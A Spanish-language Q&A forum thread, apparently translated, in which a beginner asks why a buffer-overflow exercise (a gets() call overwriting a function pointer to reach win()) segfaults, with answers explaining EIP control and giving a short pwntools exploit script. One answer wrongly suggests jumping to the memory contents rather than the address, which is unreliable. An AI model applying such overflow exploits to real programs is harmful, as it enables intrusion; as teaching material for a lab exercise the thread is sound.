Desbordando el búfer pero sin saltar a la dirección

2

Soy un principiante en el desbordamiento de búfer, he estado estudiando este tema desde hace unos días y encontré este ejercicio (código de: aquí )

Creo que entiendo el concepto básico, escribo más de 64 bytes de caracteres y la función gets desborda la siguiente dirección en la pila porque no puede determinar la longitud de mis caracteres y sobrescribo la siguiente dirección con una ubicación de mi elección que el esp ejecuta ¿tengo razón?

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
  printf("calling function pointer, jumping to 0x%08x\n", fp);
  fp();
}
}

Siguiendo el código, uso el comando printf en el terminal

printf "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqbqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xca\x06" | ./ex3

Obtengo el error de seguridad que se supone que debo hacer y el printf en el programa me muestra que estoy sobrescribiendo con la dirección correcta

(gdb) x win
0x6ca <win>:    0xe5894855

terminal:

calling function pointer, jumping to 0x000006ca
Segmentation fault
    
pregunta Nikolay Atanasov 05.07.2018 - 18:58
fuente

2 respuestas

0
  

Creo que entiendo el concepto básico, escribo más de 64 bytes de caracteres y la función gets desborda la siguiente dirección en la pila porque no puede determinar la longitud de mis caracteres y sobrescribo la siguiente dirección con una ubicación de mi elección que el esp ejecuta ¿tengo razón?

¡No exactamente! ESP no ejecuta su Shellcode ( ESP es solo un registro de 32 bits ), pero apunta a eso, por lo que al controlar el EIP y hacer que apunte a, por ejemplo. La dirección de la instrucción jmp esp puede acceder fácilmente a la ubicación del código de shell en la pila y ejecutarla. En su caso, no necesita hacer que el EIP apunte a una instrucción jmp esp , pero con la dirección de la función win .

Suponiendo que el objetivo del ejercicio es intentar modificar el flujo de control del programa para que la función win() se ejecute incluso si no se llama en main. Lo primero que debe hacer es determinar el desplazamiento exacto que necesita para poder controlar el registro EIP. Para hacer eso necesitas un depurador como gdb . También sugiero gdb-peda que automatiza muchas cosas útiles como la creación de patrones, etc. ...

Luego, puede usar eso para desbordar el búfer y redirigir el flujo de control a win() . Suponiendo que aslr esté deshabilitado , puede encontrar fácilmente la dirección de win utilizando gdb. Luego puedes construir tu exploit ( usé python ) de la siguiente manera:

#!/usr/bin/env python

from pwn import *

offset = 64                  # offset to control EIP
ret_address = p32(0x40057d)  # address of win() packed for x86 archs

payload = "A" * offset + ret_address  # final payload

p = process('./test')  # execute the test binary
p.sendline(payload)    # send our payload
print p.recv()         # get the output

En el fragmento de código anterior, usé pwntools para facilitar la interacción con el binario, pero puedes hacer lo mismo sin utilizar ningún módulo externo.

Notas:

  • Probé el código anterior en el sistema de x86 bits, pero también puedes modificarlo fácilmente para que funcione con x64 bits.
  • Además, la función de dirección de win () probablemente será diferente de la que publiqué.
  • En aras de la simplicidad, asumo que aslr está deshabilitado.
respondido por el game0ver 05.07.2018 - 20:33
fuente
1

Intenta saltar a 0xe5894855 en su lugar. El 0x06ca migth solo será un puntero.

    
respondido por el Tudor 05.07.2018 - 20:30
fuente

Lea otras preguntas en las etiquetas